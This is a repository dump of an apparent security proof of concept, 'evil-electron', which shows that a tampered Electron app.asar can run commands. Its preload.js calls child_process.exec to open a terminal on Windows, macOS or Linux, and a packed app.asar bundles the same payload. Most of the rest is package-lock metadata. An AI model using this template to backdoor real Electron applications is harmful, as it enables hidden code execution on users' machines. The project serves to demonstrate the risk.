"https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", 499 | "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", 500 | "dev": true, 501 | "requires": { 502 | "minimist": "^1.2.5" 503 | } 504 | }, 505 | "ms": { 506 | "version": "2.1.2", 507 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", 508 | "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", 509 | "dev": true 510 | }, 511 | "normalize-url": { 512 | "version": "4.5.0", 513 | "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-4.5.0.tgz", 514 | "integrity": "sha512-2s47yzUxdexf1OhyRi4Em83iQk0aPvwTddtFz4hnSSw9dCEsLEGf6SwIO8ss/19S9iBb5sJaOuTvTGDeZI00BQ==", 515 | "dev": true 516 | }, 517 | "npm-conf": { 518 | "version": "1.1.3", 519 | "resolved": "https://registry.npmjs.org/npm-conf/-/npm-conf-1.1.3.tgz", 520 | "integrity": "sha512-Yic4bZHJOt9RCFbRP3GgpqhScOY4HH3V2P8yBj6CeYq118Qr+BLXqT2JvpJ00mryLESpgOxf5XlFv4ZjXxLScw==", 521 | "dev": true, 522 | "optional": true, 523 | "requires": { 524 | "config-chain": "^1.1.11", 525 | "pify": "^3.0.0" 526 | } 527 | }, 528 | "object-keys": { 529 | "version": "1.1.1", 530 | "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", 531 | "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", 532 | "dev": true, 533 | "optional": true 534 | }, 535 | "once": { 536 | "version": "1.4.0", 537 | "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", 538 | "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", 539 | "dev": true, 540 | "requires": { 541 | "wrappy": "1" 542 | } 543 | }, 544 | "p-cancelable": { 545 | "version": "1.1.0", 546 | "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-1.1.0.tgz", 547 | "integrity": "sha512-s73XxOZ4zpt1edZYZzvhqFa6uvQc1vwUa0K0BdtIZgQMAJj9IbebH+JkgKZc9h+B05PKHLOTl4ajG1BmNrVZlw==", 548 | "dev": true 549 | }, 550 | "pend": { 551 | "version": "1.2.0", 552 | "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", 553 | "integrity": "sha1-elfrVQpng/kRUzH89GY9XI4AelA=", 554 | "dev": true 555 | }, 556 | "pify": { 557 | "version": "3.0.0", 558 | "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", 559 | "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", 560 | "dev": true, 561 | "optional": true 562 | }, 563 | "prepend-http": { 564 | "version": "2.0.0", 565 | "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz", 566 | "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc=", 567 | "dev": true 568 | }, 569 | "process-nextick-args": { 570 | "version": "2.0.1", 571 | "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", 572 | "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", 573 | "dev": true 574 | }, 575 | "progress": { 576 | "version": "2.0.3", 577 | "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", 578 | "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", 579 | "dev": true 580 | }, 581 | "proto-list": { 582 | "version": "1.2.4", 583 | "resolved": "https://registry.npmjs.org/proto-list/-/proto-list-1.2.4.tgz", 584 | "integrity": "sha1-IS1b/hMYMGpCD2QCuOJv85ZHqEk=", 585 | "dev": true, 586 | "optional": true 587 | }, 588 | "pump": { 589 | "version": "3.0.0", 590 | "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", 591 | "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", 592 | "dev": true, 593 | "requires": { 594 | "end-of-stream": "^1.1.0", 595 | "once": "^1.3.1" 596 | } 597 | }, 598 | "readable-stream": { 599 | "version": "2.3.7", 600 | "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", 601 | "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", 602 | "dev": true, 603 | "requires": { 604 | "core-util-is": "~1.0.0", 605 | "inherits": "~2.0.3", 606 | "isarray": "~1.0.0", 607 | "process-nextick-args": "~2.0.0", 608 | "safe-buffer": "~5.1.1", 609 | "string_decoder": "~1.1.1", 610 | "util-deprecate": "~1.0.1" 611 | } 612 | }, 613 | "responselike": { 614 | "version": "1.0.2", 615 | "resolved": "https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz", 616 | "integrity": "sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=", 617 | "dev": true, 618 | "requires": { 619 | "lowercase-keys": "^1.0.0" 620 | } 621 | }, 622 | "roarr": { 623 | "version": "2.15.4", 624 | "resolved": "https://registry.npmjs.org/roarr/-/roarr-2.15.4.tgz", 625 | "integrity": "sha512-CHhPh+UNHD2GTXNYhPWLnU8ONHdI+5DI+4EYIAOaiD63rHeYlZvyh8P+in5999TTSFgUYuKUAjzRI4mdh/p+2A==", 626 | "dev": true, 627 | "optional": true, 628 | "requires": { 629 | "boolean": "^3.0.1", 630 | "detect-node": "^2.0.4", 631 | "globalthis": "^1.0.1", 632 | "json-stringify-safe": "^5.0.1", 633 | "semver-compare": "^1.0.0", 634 | "sprintf-js": "^1.1.2" 635 | } 636 | }, 637 | "safe-buffer": { 638 | "version": "5.1.2", 639 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", 640 | "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", 641 | "dev": true 642 | }, 643 | "semver": { 644 | "version": "6.3.0", 645 | "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", 646 | "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", 647 | "dev": true 648 | }, 649 | "semver-compare": { 650 | "version": "1.0.0", 651 | "resolved": "https://registry.npmjs.org/semver-compare/-/semver-compare-1.0.0.tgz", 652 | "integrity": "sha1-De4hahyUGrN+nvsXiPavxf9VN/w=", 653 | "dev": true, 654 | "optional": true 655 | }, 656 | "serialize-error": { 657 | "version": "7.0.1", 658 | "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-7.0.1.tgz", 659 | "integrity": "sha512-8I8TjW5KMOKsZQTvoxjuSIa7foAwPWGOts+6o7sgjz41/qMD9VQHEDxi6PBvK2l0MXUmqZyNpUK+T2tQaaElvw==", 660 | "dev": true, 661 | "optional": true, 662 | "requires": { 663 | "type-fest": "^0.13.1" 664 | } 665 | }, 666 | "sprintf-js": { 667 | "version": "1.1.2", 668 | "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.2.tgz", 669 | "integrity": "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug==", 670 | "dev": true, 671 | "optional": true 672 | }, 673 | "string_decoder": { 674 | "version": "1.1.1", 675 | "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", 676 | "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", 677 | "dev": true, 678 | "requires": { 679 | "safe-buffer": "~5.1.0" 680 | } 681 | }, 682 | "strip-outer": { 683 | "version": "1.0.1", 684 | "resolved": "https://registry.npmjs.org/strip-outer/-/strip-outer-1.0.1.tgz", 685 | "integrity": "sha512-k55yxKHwaXnpYGsOzg4Vl8+tDrWylxDEpknGjhTiZB8dFRU5rTo9CAzeycivxV3s+zlTKwrs6WxMxR95n26kwg==", 686 | "dev": true, 687 | "requires": { 688 | "escape-string-regexp": "^1.0.2" 689 | } 690 | }, 691 | "sumchecker": { 692 | "version": "3.0.1", 693 | "resolved": "https://registry.npmjs.org/sumchecker/-/sumchecker-3.0.1.tgz", 694 | "integrity": "sha512-MvjXzkz/BOfyVDkG0oFOtBxHX2u3gKbMHIF/dXblZsgD3BWOFLmHovIpZY7BykJdAjcqRCBi1WYBNdEC9yI7vg==", 695 | "dev": true, 696 | "requires": { 697 | "debug": "^4.1.0" 698 | } 699 | }, 700 | "to-readable-stream": { 701 | "version": "1.0.0", 702 | "resolved": "https://registry.npmjs.org/to-readable-stream/-/to-readable-stream-1.0.0.tgz", 703 | "integrity": "sha512-Iq25XBt6zD5npPhlLVXGFN3/gyR2/qODcKNNyTMd4vbm39HUaOiAM4PMq0eMVC/Tkxz+Zjdsc55g9yyz+Yq00Q==", 704 | "dev": true 705 | }, 706 | "trim-repeated": { 707 | "version": "1.0.0", 708 | "resolved": "https://registry.npmjs.org/trim-repeated/-/trim-repeated-1.0.0.tgz", 709 | "integrity": "sha1-42RqLqTokTEr9+rObPsFOAvAHCE=", 710 | "dev": true, 711 | "requires": { 712 | "escape-string-regexp": "^1.0.2" 713 | } 714 | }, 715 | "tunnel": { 716 | "version": "0.0.6", 717 | "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz", 718 | "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==", 719 | "dev": true, 720 | "optional": true 721 | }, 722 | "type-fest": { 723 | "version": "0.13.1", 724 | "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.13.1.tgz", 725 | "integrity": "sha512-34R7HTnG0XIJcBSn5XhDd7nNFPRcXYRZrBB2O2jdKqYODldSzBAqzsWoZYYvduky73toYS/ESqxPvkDf/F0XMg==", 726 | "dev": true, 727 | "optional": true 728 | }, 729 | "typedarray": { 730 | "version": "0.0.6", 731 | "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz", 732 | "integrity": "sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c=", 733 | "dev": true 734 | }, 735 | "universalify": { 736 | "version": "0.1.2", 737 | "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", 738 | "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", 739 | "dev": true 740 | }, 741 | "url-parse-lax": { 742 | "version": "3.0.0", 743 | "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz", 744 | "integrity": "sha1-FrXK/Afb42dsGxmZF3gj1lA6yww=", 745 | "dev": true, 746 | "requires": { 747 | "prepend-http": "^2.0.0" 748 | } 749 | }, 750 | "util-deprecate": { 751 | "version": "1.0.2", 752 | "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", 753 | "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", 754 | "dev": true 755 | }, 756 | "wrappy": { 757 | "version": "1.0.2", 758 | "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", 759 | "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", 760 | "dev": true 761 | }, 762 | "yallist": { 763 | "version": "4.0.0", 764 | "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", 765 | "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", 766 | "dev": true, 767 | "optional": true 768 | }, 769 | "yauzl": { 770 | "version": "2.10.0", 771 | "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", 772 | "integrity": "sha1-x+sXyT4RLLEIb6bY5R+wZnt5pfk=", 773 | "dev": true, 774 | "requires": { 775 | "buffer-crc32": "~0.2.3", 776 | "fd-slicer": "~1.1.0" 777 | } 778 | } 779 | } 780 | } 781 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "evil-electron", 3 | "version": "1.0.0", 4 | "description": "Backdoored app.asar that spawns cmd.", 5 | "main": "main.js", 6 | "scripts": { 7 | "start": "electron ." 8 | }, 9 | "repository": { 10 | "type": "git", 11 | "url": "git+https://github.com/parsiya/evil-electron.git" 12 | }, 13 | "author": "Parsia Hakimian", 14 | "license": "MIT", 15 | "bugs": { 16 | "url": "https://github.com/parsiya/evil-electron/issues" 17 | }, 18 | "homepage": "https://github.com/parsiya/evil-electron#readme", 19 | "devDependencies": { 20 | "electron": "^9.4.0" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /preload.js: -------------------------------------------------------------------------------- 1 | // Detect the operating system. 2 | var platform = require('process').platform; 3 | 4 | // Commands 5 | const win32Command = "start cmd.exe"; 6 | const darwinCommand = "'/System/Applications/Terminal.app/Contents/MacOS/Terminal',function(){}"; 7 | const linuxCommand = "gnome-terminal"; // Issue#2: Find a `universal` Linux command. 8 | 9 | var command = ""; 10 | 11 | console.log(`Running on ${platform}`); 12 | 13 | switch (platform) { 14 | case "win32": 15 | command = win32Command; 16 | break; 17 | case "darwin": 18 | command = darwinCommand; 19 | break; 20 | case "linux": 21 | command = linuxCommand; 22 | break; 23 | } 24 | 25 | console.log(`Command to be executed: '${command}'`); 26 | 27 | if (command === "") { 28 | console.log(`Operating system '${platform}' is not supported.`); 29 | } else { 30 | // Spawn a command prompt. 31 | require('child_process').exec(command); 32 | } 33 | -------------------------------------------------------------------------------- /release/app.asar: -------------------------------------------------------------------------------- 1 | ( $ {"files":{".git":{"unpacked":true,"files":{"config":{"size":321,"unpacked":true},"description":{"size":73,"unpacked":true},"HEAD":{"size":23,"unpacked":true},"hooks":{"unpacked":true,"files":{"applypatch-msg.sample":{"size":478,"unpacked":true},"commit-msg.sample":{"size":896,"unpacked":true},"fsmonitor-watchman.sample":{"size":3327,"unpacked":true},"post-update.sample":{"size":189,"unpacked":true},"pre-applypatch.sample":{"size":424,"unpacked":true},"pre-commit.sample":{"size":1638,"unpacked":true},"pre-merge-commit.sample":{"size":416,"unpacked":true},"pre-push.sample":{"size":1348,"unpacked":true},"pre-rebase.sample":{"size":4898,"unpacked":true},"pre-receive.sample":{"size":544,"unpacked":true},"prepare-commit-msg.sample":{"size":1492,"unpacked":true},"update.sample":{"size":3610,"unpacked":true}}},"index":{"size":769,"unpacked":true},"info":{"unpacked":true,"files":{"exclude":{"size":240,"unpacked":true}}},"logs":{"unpacked":true,"files":{"HEAD":{"size":188,"unpacked":true},"refs":{"unpacked":true,"files":{"heads":{"unpacked":true,"files":{"master":{"size":188,"unpacked":true}}},"remotes":{"unpacked":true,"files":{"origin":{"unpacked":true,"files":{"HEAD":{"size":188,"unpacked":true}}}}}}}}},"objects":{"unpacked":true,"files":{"76":{"unpacked":true,"files":{"00055f81c18adffc4c2227c3fd1ec1d867585e":{"size":641,"unpacked":true}}},"3c":{"unpacked":true,"files":{"3629e647f5ddf82548912e337bea9826b434af":{"size":29,"unpacked":true}}},"8c":{"unpacked":true,"files":{"149166f528d3720e79c74e156f68b857959bfa":{"size":756,"unpacked":true}}},"9c":{"unpacked":true,"files":{"faafaf93e3eeb3e8ce7119fef66e319fa043da":{"size":255,"unpacked":true}}},"b8":{"unpacked":true,"files":{"23bcc448f6fd5263abd6bda85d1e40afda9b33":{"size":2639,"unpacked":true}}},"c2":{"unpacked":true,"files":{"ff9c169717dc8d6860fd487079c21bbc55a3b2":{"size":293,"unpacked":true}}},"c6":{"unpacked":true,"files":{"b0b51ff00e4732546751151346ad125f7bbfc7":{"size":8930,"unpacked":true}}},"d3":{"unpacked":true,"files":{"bdade6d25947df696e4fec8220990da200e3f0":{"size":205,"unpacked":true},"c01644c7105b56fc5e0acca8fb1a8fc3fcaed8":{"size":367,"unpacked":true}}},"df":{"unpacked":true,"files":{"7ef6d6199fc96ae50b8bd33cf082ca58eb0c77":{"size":1038,"unpacked":true}}},"e0":{"unpacked":true,"files":{"7db2b947ebd03aab6f2c0380b88eb16d140edd":{"size":316,"unpacked":true}}},"info":{"unpacked":true,"files":{}},"pack":{"unpacked":true,"files":{}}}},"packed-refs":{"size":114,"unpacked":true},"refs":{"unpacked":true,"files":{"heads":{"unpacked":true,"files":{"master":{"size":41,"unpacked":true}}},"remotes":{"unpacked":true,"files":{"origin":{"unpacked":true,"files":{"HEAD":{"size":32,"unpacked":true}}}}},"tags":{"unpacked":true,"files":{}}}},"shallow":{"size":41,"unpacked":true}}},".gitignore":{"size":13,"offset":"0"},"index.html":{"size":223,"offset":"13"},"LICENSE":{"size":1071,"offset":"236"},"main.js":{"size":1330,"offset":"1307"},"package-lock.json":{"size":27274,"offset":"2637"},"package.json":{"size":530,"offset":"29911"},"preload.js":{"size":74,"offset":"30441"},"README.md":{"size":1667,"offset":"30515"}}}node_modules 2 | 3 | 4 | 5 | 6 | Spawn cmd! 7 | 8 | 9 |

You should see a command prompt on Windows!

10 | To change it, look in "preload.js". 11 | 12 | 13 | MIT License 14 | 15 | Copyright (c) 2020 Parsia Hakimian 16 | 17 | Permission is hereby granted, free of charge, to any person obtaining a copy 18 | of this software and associated documentation files (the "Software"), to deal 19 | in the Software without restriction, including without limitation the rights 20 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 21 | copies of the Software, and to permit persons to whom the Software is 22 | furnished to do so, subject to the following conditions: 23 | 24 | The above copyright notice and this permission notice shall be included in all 25 | copies or substantial portions of the Software. 26 | 27 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 28 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 29 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 30 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 31 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 32 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 33 | SOFTWARE.// Modules to control application life and create native browser window 34 | const {app, BrowserWindow} = require('electron') 35 | const path = require('path') 36 | 37 | function createWindow () { 38 | // Create the browser window. 39 | const mainWindow = new BrowserWindow({ 40 | width: 800, 41 | height: 600, 42 | webPreferences: { 43 | preload: path.join(__dirname, 'preload.js') 44 | // No need for nodeIntegration here because our payload is in preload.js. 45 | } 46 | }) 47 | 48 | // and load the index.html of the app. 49 | mainWindow.loadFile('index.html') 50 | 51 | // Open the DevTools. 52 | // mainWindow.webContents.openDevTools() 53 | } 54 | 55 | // This method will be called when Electron has finished 56 | // initialization and is ready to create browser windows. 57 | // Some APIs can only be used after this event occurs. 58 | app.whenReady().then(() => { 59 | createWindow() 60 | 61 | app.on('activate', function () { 62 | // On macOS it's common to re-create a window in the app when the 63 | // dock icon is clicked and there are no other windows open. 64 | if (BrowserWindow.getAllWindows().length === 0) createWindow() 65 | }) 66 | }) 67 | 68 | // Quit when all windows are closed, except on macOS. There, it's common 69 | // for applications and their menu bar to stay active until the user quits 70 | // explicitly with Cmd + Q. 71 | app.on('window-all-closed', function () { 72 | if (process.platform !== 'darwin') app.quit() 73 | }) 74 | { 75 | "name": "evil-electron", 76 | "version": "1.0.0", 77 | "lockfileVersion": 1, 78 | "requires": true, 79 | "dependencies": { 80 | "@electron/get": { 81 | "version": "1.12.2", 82 | "resolved": "https://registry.npmjs.org/@electron/get/-/get-1.12.2.tgz", 83 | "integrity": "sha512-vAuHUbfvBQpYTJ5wB7uVIDq5c/Ry0fiTBMs7lnEYAo/qXXppIVcWdfBr57u6eRnKdVso7KSiH6p/LbQAG6Izrg==", 84 | "dev": true, 85 | "requires": { 86 | "debug": "^4.1.1", 87 | "env-paths": "^2.2.0", 88 | "fs-extra": "^8.1.0", 89 | "global-agent": "^2.0.2", 90 | "global-tunnel-ng": "^2.7.1", 91 | "got": "^9.6.0", 92 | "progress": "^2.0.3", 93 | "sanitize-filename": "^1.6.2", 94 | "sumchecker": "^3.0.1" 95 | } 96 | }, 97 | "@sindresorhus/is": { 98 | "version": "0.14.0", 99 | "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.14.0.tgz", 100 | "integrity": "sha512-9NET910DNaIPngYnLLPeg+Ogzqsi9uM4mSboU5y6p8S5DzMTVEsJZrawi+BoDNUVBa2DhJqQYUFvMDfgU062LQ==", 101 | "dev": true 102 | }, 103 | "@szmarczak/http-timer": { 104 | "version": "1.1.2", 105 | "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-1.1.2.tgz", 106 | "integrity": "sha512-XIB2XbzHTN6ieIjfIMV9hlVcfPU26s2vafYWQcZHWXHOxiaRZYEDKEwdl129Zyg50+foYV2jCgtrqSA6qNuNSA==", 107 | "dev": true, 108 | "requires": { 109 | "defer-to-connect": "^1.0.1" 110 | } 111 | }, 112 | "@types/node": { 113 | "version": "12.12.47", 114 | "resolved": "https://registry.npmjs.org/@types/node/-/node-12.12.47.tgz", 115 | "integrity": "sha512-yzBInQFhdY8kaZmqoL2+3U5dSTMrKaYcb561VU+lDzAYvqt+2lojvBEy+hmpSNuXnPTx7m9+04CzWYOUqWME2A==", 116 | "dev": true 117 | }, 118 | "boolean": { 119 | "version": "3.0.1", 120 | "resolved": "https://registry.npmjs.org/boolean/-/boolean-3.0.1.tgz", 121 | "integrity": "sha512-HRZPIjPcbwAVQvOTxR4YE3o8Xs98NqbbL1iEZDCz7CL8ql0Lt5iOyJFxfnAB0oFs8Oh02F/lLlg30Mexv46LjA==", 122 | "dev": true, 123 | "optional": true 124 | }, 125 | "buffer-crc32": { 126 | "version": "0.2.13", 127 | "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", 128 | "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=", 129 | "dev": true 130 | }, 131 | "buffer-from": { 132 | "version": "1.1.1", 133 | "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz", 134 | "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==", 135 | "dev": true 136 | }, 137 | "cacheable-request": { 138 | "version": "6.1.0", 139 | "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-6.1.0.tgz", 140 | "integrity": "sha512-Oj3cAGPCqOZX7Rz64Uny2GYAZNliQSqfbePrgAQ1wKAihYmCUnraBtJtKcGR4xz7wF+LoJC+ssFZvv5BgF9Igg==", 141 | "dev": true, 142 | "requires": { 143 | "clone-response": "^1.0.2", 144 | "get-stream": "^5.1.0", 145 | "http-cache-semantics": "^4.0.0", 146 | "keyv": "^3.0.0", 147 | "lowercase-keys": "^2.0.0", 148 | "normalize-url": "^4.1.0", 149 | "responselike": "^1.0.2" 150 | }, 151 | "dependencies": { 152 | "get-stream": { 153 | "version": "5.1.0", 154 | "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.1.0.tgz", 155 | "integrity": "sha512-EXr1FOzrzTfGeL0gQdeFEvOMm2mzMOglyiOXSTpPC+iAjAKftbr3jpCMWynogwYnM+eSj9sHGc6wjIcDvYiygw==", 156 | "dev": true, 157 | "requires": { 158 | "pump": "^3.0.0" 159 | } 160 | }, 161 | "lowercase-keys": { 162 | "version": "2.0.0", 163 | "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", 164 | "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==", 165 | "dev": true 166 | } 167 | } 168 | }, 169 | "clone-response": { 170 | "version": "1.0.2", 171 | "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz", 172 | "integrity": "sha1-0dyXOSAxTfZ/vrlCI7TuNQI56Ws=", 173 | "dev": true, 174 | "requires": { 175 | "mimic-response": "^1.0.0" 176 | } 177 | }, 178 | "concat-stream": { 179 | "version": "1.6.2", 180 | "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", 181 | "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", 182 | "dev": true, 183 | "requires": { 184 | "buffer-from": "^1.0.0", 185 | "inherits": "^2.0.3", 186 | "readable-stream": "^2.2.2", 187 | "typedarray": "^0.0.6" 188 | } 189 | }, 190 | "config-chain": { 191 | "version": "1.1.12", 192 | "resolved": "https://registry.npmjs.org/config-chain/-/config-chain-1.1.12.tgz", 193 | "integrity": "sha512-a1eOIcu8+7lUInge4Rpf/n4Krkf3Dd9lqhljRzII1/Zno/kRtUWnznPO3jOKBmTEktkt3fkxisUcivoj0ebzoA==", 194 | "dev": true, 195 | "optional": true, 196 | "requires": { 197 | "ini": "^1.3.4", 198 | "proto-list": "~1.2.1" 199 | } 200 | }, 201 | "core-js": { 202 | "version": "3.6.5", 203 | "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.6.5.tgz", 204 | "integrity": "sha512-vZVEEwZoIsI+vPEuoF9Iqf5H7/M3eeQqWlQnYa8FSKKePuYTf5MWnxb5SDAzCa60b3JBRS5g9b+Dq7b1y/RCrA==", 205 | "dev": true, 206 | "optional": true 207 | }, 208 | "core-util-is": { 209 | "version": "1.0.2", 210 | "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", 211 | "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=", 212 | "dev": true 213 | }, 214 | "debug": { 215 | "version": "4.1.1", 216 | "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", 217 | "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", 218 | "dev": true, 219 | "requires": { 220 | "ms": "^2.1.1" 221 | } 222 | }, 223 | "decompress-response": { 224 | "version": "3.3.0", 225 | "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", 226 | "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=", 227 | "dev": true, 228 | "requires": { 229 | "mimic-response": "^1.0.0" 230 | } 231 | }, 232 | "defer-to-connect": { 233 | "version": "1.1.3", 234 | "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-1.1.3.tgz", 235 | "integrity": "sha512-0ISdNousHvZT2EiFlZeZAHBUvSxmKswVCEf8hW7KWgG4a8MVEu/3Vb6uWYozkjylyCxe0JBIiRB1jV45S70WVQ==", 236 | "dev": true 237 | }, 238 | "define-properties": { 239 | "version": "1.1.3", 240 | "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.3.tgz", 241 | "integrity": "sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==", 242 | "dev": true, 243 | "optional": true, 244 | "requires": { 245 | "object-keys": "^1.0.12" 246 | } 247 | }, 248 | "detect-node": { 249 | "version": "2.0.4", 250 | "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.0.4.tgz", 251 | "integrity": "sha512-ZIzRpLJrOj7jjP2miAtgqIfmzbxa4ZOr5jJc601zklsfEx9oTzmmj2nVpIPRpNlRTIh8lc1kyViIY7BWSGNmKw==", 252 | "dev": true, 253 | "optional": true 254 | }, 255 | "duplexer3": { 256 | "version": "0.1.4", 257 | "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz", 258 | "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=", 259 | "dev": true 260 | }, 261 | "electron": { 262 | "version": "9.0.5", 263 | "resolved": "https://registry.npmjs.org/electron/-/electron-9.0.5.tgz", 264 | "integrity": "sha512-bnL9H48LuQ250DML8xUscsKiuSu+xv5umXbpBXYJ0BfvYVmFfNbG3jCfhrsH7aP6UcQKVxOG1R/oQExd0EFneQ==", 265 | "dev": true, 266 | "requires": { 267 | "@electron/get": "^1.0.1", 268 | "@types/node": "^12.0.12", 269 | 